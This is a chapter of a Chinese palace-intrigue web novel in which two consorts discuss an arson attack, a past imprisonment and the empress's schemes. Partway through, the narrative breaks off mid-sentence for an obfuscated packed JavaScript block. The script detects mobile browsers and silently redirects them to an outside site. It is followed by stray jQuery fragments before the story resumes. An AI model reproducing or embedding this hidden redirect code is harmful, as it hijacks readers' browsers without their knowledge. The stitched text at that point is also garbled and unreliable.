81. 投鼠忌器
作品:《姑娘她权倾朝野》 翌日,刑部张见山上疏,刑部已经查明,魏逢春与翁作新勾结,陷害冯守源,阻挠京察一事乃是捕风捉影,齐策下旨将二人无罪释放,并加以抚慰。
就在此时,宫中传出了千秋殿大火烧伤贵妃、烧死宫女,皇后被禁足,有人开始猜测,陛下先前无罪释放了魏逢春,却禁足了皇后,此举摆明了是看到了御史台的上疏,有意敲打冯守源,曾经在朝中显赫一时地冯家父女,一时之间成了强弩之末,御史台更加肆无忌惮地上疏弹劾冯守源公器私用,排除异己,皇后善妒,戕害嫔妃。
冯守源眼见朝中攻守之势异也,又故技重施的自请罢官替女谢罪,齐策却一如往常地斥责御史台捕风捉影,并宽慰国丈专注京察,唯独没有提及皇后。
加之千秋殿大火虽然极为严重,可是负责戍守千秋的一应侍卫与宫人们也并未受到牵连,无论前朝还是后宫更加摸不透齐策的心思。
杜惜华虽然入宫晚,却对宫中一应事由洞若观火,心知是虞归晚求情,宽恕了失职之人,不禁心生疑虑,记忆里月姑娘杀伐果断,怎得今日生出了此等菩萨心肠。
虞归晚笑道:“时移事易。”
当初江域剑一样悬在每个人头顶,那是场你死我活的党争,如今时移事易,我既无需忧心生死,又何必咄咄逼人。
虞归晚最终被齐策安置去了承香殿,承香殿是林妙容的宫室,皇后被禁足后,林妙容便搬回了承香殿,齐策让虞归晚移居承香殿,意思很明显,将来林妙容诞下的孩子,无论男女,将寄养在虞归晚明夏。
今日是虞归晚迁宫的日子,承香殿里然闹非凡,虞归晚却不见踪迹,杜惜华眼见承香殿已经收拾好了,也不见虞归晚人,便猜到了她的心思,一路沿着太液池找了过来,刚好看到虞归晚站在早已烧成废墟的千秋殿外失神。
杜惜华不解道:“姐姐你怎么在这?”
瞧见杜惜华过来,虞归晚勉强牵了牵嘴角,转移话题道:“我还没问,你怎么入宫了?”此前,她寄居在御书房,一直没机会与杜惜华独处,如今终于得了机会,她也不再兜圈子,直截了当的问了出来,记忆里,她并非甘愿入宫之人,难道是因为我?她不敢细想,只是直勾勾盯着杜惜华,想要寻一个答案。
杜惜华脸上的笑容一滞,低头思索片刻,却突然掀眸看向虞归晚狡黠一笑道:“姐姐是怪我跟你抢陛下了?”
虞归晚一愣,转而点点头,字正腔圆道:“对!”
二人相视一笑,杜惜华伸手挽住虞归晚的胳膊,陪着她在太液池漫步道:“自然是因为我最漂亮喽。”
眼见杜惜华一直顾左右而言他,虞归晚自知再追问也不会有什么结果,只得沉默的握紧她的手道:“可这样终究误了你。”
“误了我?有吗?”杜惜华没心没肺的笑了出来,她依偎在虞归晚肩上撒娇道:“有姐姐在,我即便入了宫,不也一样掌管着一应宫务吗,怎么能算误了?更何况,如今的局面,我难道还能幻想着入朝为官不成?”
虞归晚哑然,先帝驾崩,长公主失踪,不仅对朝政来说是一场天翻地覆的震动,对她们这些人来说也是同样,曾经那些翘首以盼,想要尽忠报国的女子,再无报国之门,曾经沐浴过阳光的人,又怎会愿意重回黑暗,关于她们应该何去何从,虞归晚提心吊胆了许久,终于在听到杜惜华说完这些话后,轰然坍塌。
当年,我如果忍一忍,如今会不会好一点?
两年了,她第一次生出了后悔。
可是,青棠的血还是温的!
她摩梭着手腕上已经愈合的伤痕,心被撕扯的生疼。
杜惜华看着虞归晚的模样,看着她腕上独特的伤痕,心中的疑虑被一点点放大,突然她一把握住了虞归晚的手,直勾勾的盯着她道:“这是锁链的磨伤对不对。”
虞归晚没想到杜惜华是如此的洞若观火,连忙摇头。
杜惜华却从她躲闪的眸中洞悉了一切,她颤声道:“这一年你是被囚禁了,对不对,是他对吗?”
“你在胡乱说什么呀!”虞归晚打断了她的话,“我是弑父,被衙门囚禁起来,多正常,我能有今日,全是陛下宽宏。”
“可是你刚才在摇头。”杜惜华放软了语气,“姐姐,我们找了你一年,十四翻遍了京城大大小小的牢狱,我在菜市口守了整整一个秋天,冬天,春天,夏天,再一个秋天,时至今日,我还记得人头落地时,最先见到的是喷涌的鲜血,接着当的一声,似乎带着凄厉惨叫声,其实并没有,只有血腥味肆意弥散,我当时就在想,哪怕是替你收尸也好,可是没有,那时我就确信,你绝对不没有死!”
“我早就该想到,你不来找我,不是不想,是不能,对吧?”
她的眼睛满含热泪,虞归晚却神色苍凉,连生身性命都做不了主的时候,爱恨太过奢侈。
七月流火,天日渐凉了下了,天空不知何时飘起了淅淅沥沥的小雨,虞归晚仰头感受着细细密密的小雨,轻笑一声,埋藏在心底深处,从未被窥视的记忆陡然被人揭穿,不是疼,反而是恐惧,仿佛被扒光了般恐,她默默许久才道:“事已至此,多说无益。”
那语调分明是在宽慰自己。
杜惜华感觉自己的心像要被生生刮下来一层似的又酸又疼,两年不见,她没想到,昔日里,如晚霞烈焰的女子,怎么变成了如今这副死气沉沉的模样?
可是在宫里,她连感伤的时间都没有,一阵不属于雨打湖面的声音在耳中格外清晰,她蓦地瞪大了眼睛,看向虞归晚:有人跟着我们?
虞归晚显然也读懂了杜惜华的眼神,她凝眉道:“下雨了,我们回宫吧。”
话音刚落,就见一个小侍卫小跑着带了两把伞过来。
二人不约而同的蹙眉,凝视着来人。
雒少飞似是意识到了二人探究的眼神,忙叩首道:“末将见下雨了,两位娘娘许是想要赏雨,特意送伞来。”
“有劳。”虞归晚莞尔一笑,接过伞,递给了杜惜华。
二人撑着伞向承香殿而去,雨越下越大,二人的脚步也越来越快,直到进了承香殿,杜惜华才终于松了口,看着虞归晚道:“我记得他是陛下身边的人。”
虞归晚点头,把伞递给素秋,打帘进了内殿。
陈松与明夏早已打发走了前来恭贺的众嫔妃,如今的承香殿格外安静,虞归晚环视四周,与千秋殿一般无二,想来便是明夏的心思,她却没了欣赏的心思,吩咐所有人退下,关了门道:“在宫里说话,果然还是得小心呀。”
杜惜华心有余悸,点头如捣蒜。
虞归晚又问起了千秋殿起火一事。
此前她把调查千秋殿起火之事交给了杜惜华,然而她除了查到下宫人侍卫尸位素餐,推诿扯皮外,一无所获,这也不能怪她,皇后敢在宫中行此
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15771567|161093||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
事,肯定做了十足的准备,可是虞归晚不信天下能有不透风的墙,也不信杜惜华果真一无所获。
自知瞒不过虞归晚,杜惜华环视四周,眼见虞归晚朝她点点头,才放心道:“千秋殿起火,乃是萧墙之祸。”
“果然是她纵得火?”虞归晚眼前浮现起一双挣扎求生的手,不觉汗毛直立。
杜惜华点头:“我查到晚冬的母亲前日里去钱庄存了一大笔钱。”
“钱是谁给的?”虞归晚问。
杜惜华:“梁锐。”
“梁锐?”虞归晚笑出了声,“她就这么想让我死?”
她回忆起起火那日,那场大火之前先是一场小火,也是因为这场小火惊醒了众人,才使得诸人能够幸免于难,可是直到众人都已出了火场,晚冬才从里面出来,当时,她便心生怀疑,只是没想到,晚冬竟是与梁锐有所勾结,可是,梁锐打的是为江域报仇的旗号,而晚冬也是宫里的旧人,想到这里,虞归晚猛地瞪大了眼睛,看向杜惜华。
杜惜华点点头:“她或许是在当年江氏谋逆之时,受了安王妃恩惠吧,所以那日她不敢不放火,但是同样的你带她不薄,她也不敢再活着出来,我还查到前段时间,她把入宫以来,所有的积蓄都托人寄给了她娘。”
她语调一顿,眼前浮现出老母亲拿着那些金银细软的模样,心中唏嘘不已,不过在这你死我活的关头,不是意气用事的时候,思及此,她继续道:“此前我一直不明白,皇后为什么突然敢在宫中对你下次毒手,直到查到了晚冬与梁锐,梁锐是江域的人,晚冬是宫中旧人再查下去,恐怕会牵连到皇太嫂,先帝已死,唯余孀妻幼子,她是早就料到了你会投鼠忌器,才如此肆无忌惮。”
“所以她知道你是谁了?”
虞归晚点头。
冯知念太擅长揣度人心了,当初唆使林妙容谋害宁安不也是如此吗?
林妙容身怀六甲,她料定了无论是我还是陛下,都会保下这个孩子,到时再设计除了我,她便能顺理成章的抚养这个孩子,一举两得,只是没想到我命太硬了,浴佛节行刺我没死,千秋殿大火,我还是活着,反倒她为此禁足,只可惜林妙容为人做了嫁衣,竟还恨着我。
“所以,我们只能到此为止了。”虞归晚叹了口气,“刚好,就让老人家安心养老吧。”
“可是,我不服!”杜惜华咬牙,“你浴佛节遇刺一事,到今日还不清不楚,我们本可以凭借这个线索继续查下去,届时必能揪出幕后真正的元凶。”
“揪出某后真凶又能如何?”虞归晚摇头:“你以为陛下不知道行刺我的刺客是受谁指使?不然你猜皇后为何禁足?”
千秋殿起火到底也没有波及皇后,冯知念被禁足说到底还是齐策疑心她想要效法江太后,与冯守源勾结,屠戮嫔妃,把持朝政,可是只有一场大火,远不足以让齐策如此笃定冯家的野心,也就是说至少从自己浴佛节遇刺开始,他就已经在怀疑皇后了。
眼见杜惜华还要反驳,虞归晚打断她道:“更何况这后位你想坐吗?”
杜惜华连忙摇头,她自问没有稳坐中宫的本事,更何况,自己也坐不了这后位。
虞归晚继续道:“你不想,我不能,可是陛下春秋鼎盛,后位不可能永远虚悬,若是换了旁人来反而更麻烦,不是吗?”
杜惜华长叹一口气道:“也罢也罢,反正我们老日方长。”